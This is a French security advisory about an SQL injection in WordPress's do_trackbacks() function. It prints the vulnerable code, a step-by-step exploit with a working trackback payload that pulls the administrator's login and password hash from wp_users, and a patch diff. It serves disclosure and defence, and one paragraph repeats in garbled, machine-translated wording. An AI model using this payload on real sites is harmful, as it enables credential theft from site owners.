WordPress, toutes les versions touchées par un O-Day

0
75

Le 1er décembre, une vulnérabilité 0-Day a été découverte pour le CMS bien connu WordPress. Il s’agit d’une Injection SQL possible via la fontion do_trackbacks(), qui permet d’exécuter des requêtes SQL arbitraires.

La vulnérabilité a été découverte par un certain M4g, qui annonce que toutes les version de WordPress sont actuellement touchées. Cependant, le risque peut être considéré comme moyen car l’attaquant doit posséder les privilèges Auteur (poster et éditer des articles) afin de pouvoir exploiter cette vulnérabilité.

La fonction do_trackbacks () dans wp-includes/comment.php ne filtre pas correctement l’entrée qui vient de l’utilisateur, ce qui permet à un utilisateur ayant les droits “publish_posts” et “edit_published_posts” d’exécuter une requête SQL SELECT arbitraire, ce qui peut conduire à la divulgation de toute information stockées dans la base de données WordPress.


function do_trackbacks($post_id) {
    global $wpdb;

    $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
    $to_ping = get_to_ping($post_id);
    $pinged  = get_pung($post_id);
    if ( empty($to_ping) ) {
        $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
        return;
    }

    if ( empty($post->post_excerpt) )
        $excerpt = apply_filters('the_content', $post->post_content);
    else
        $excerpt = apply_filters('the_excerpt', $post->post_excerpt);
    $excerpt = str_replace(']]>', ']]>', $excerpt);
    $excerpt = wp_html_excerpt($excerpt, 252) . '...';

    $post_title = apply_filters('the_title', $post->post_title);
    $post_title = strip_tags($post_title);

    if ( $to_ping ) {
        foreach ( (array) $to_ping as $tb_ping ) {
            $tb_ping = trim($tb_ping);
            if ( !in_array($tb_ping, $pinged) ) {
                trackback($tb_ping, $post_title, $excerpt, $post_id);
                $pinged[] = $tb_ping;
            } else {
                $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
            }
        }
    }
}


La variable $tb_ping est passée à la requête dans la ligne 1657 sans aucun filtrage.

Exploitation :

L’utilisateur connecté doit avoir les droits “publish_posts” et “edit_published_posts” (ce qui correspond au rôle Auteur). Voici un exemple de la façon dont cette vulnérabilité peut être exploitée :

Tout d’abord, l’utilisateur créer un nouvel article (le titre et le contenu n’a pas d’importance); le texte à mettre dans le champ “Envoyer Trackbacks” est le suivant :

AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’

Ensuite, il suffit de publier le contenu. Il faut attendre un peu, pour que wp-cron.php traite les rétroliens. Le get_to_ping () indique à la fonction que ce trackback doit être traité :

 

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'


Puis, retourner sur l’article en l’éditant :

Maintenant l’utilisateur duplique le texte du champ “Envoyer Trackbacks” sur l’article et le met à jour :

AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’ AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’

La fonction get_to_ping() traite ensuite ces rétroliens :

 

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'


La journalisation des requêtes montre que WordPress exécute bien cette requête (reformatée pour des raisons de propreté) :

 

UPDATE wp_posts
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'', ''))
WHERE ID = 11


Après que, lorsque l’utilisateur actualise la page (il peut avoir besoin d’attendre un peu pour wp-cron.php à compléter), il va voir quelque chose comme ceci :

De même, toutes informations (identifiants de connexion, hash, adresses e-mail etc) peuvent être divulguées de cette façon.

Les captures d’écran ci-dessus sont pour WordPress 3.0.1, mais la vulnérabilité semble exister depuis la branche 2.x.

Patch: patch est inférieur à la contre WordPress 3.1 rev. 16609 qui fixe la vulnérabilité:

De même, toute information (sel de connexion, le sel nonce, adresses e-mail etc) peuvent être divulgués.

Les captures d’écran ci-dessus sont pour WordPress 3.0.1, mais la vulnérabilité semble exister depuis 2.x branche.

Patch :

Le patch suivant est pour WordPress 3.1 rev. 16609 et fixe la vulnérabilité :

 

Index: wp-includes/comment.php
===================================================================
--- wp-includes/comment.php (revision 16609)
+++ wp-includes/comment.php (working copy)
@@ -1723,7 +1723,7 @@
                trackback($tb_ping, $post_title, $excerpt, $post_id);
                $pinged[] = $tb_ping;
            } else {
-               $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
+               $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $tb_ping, $post_id) );
            }
        }
    }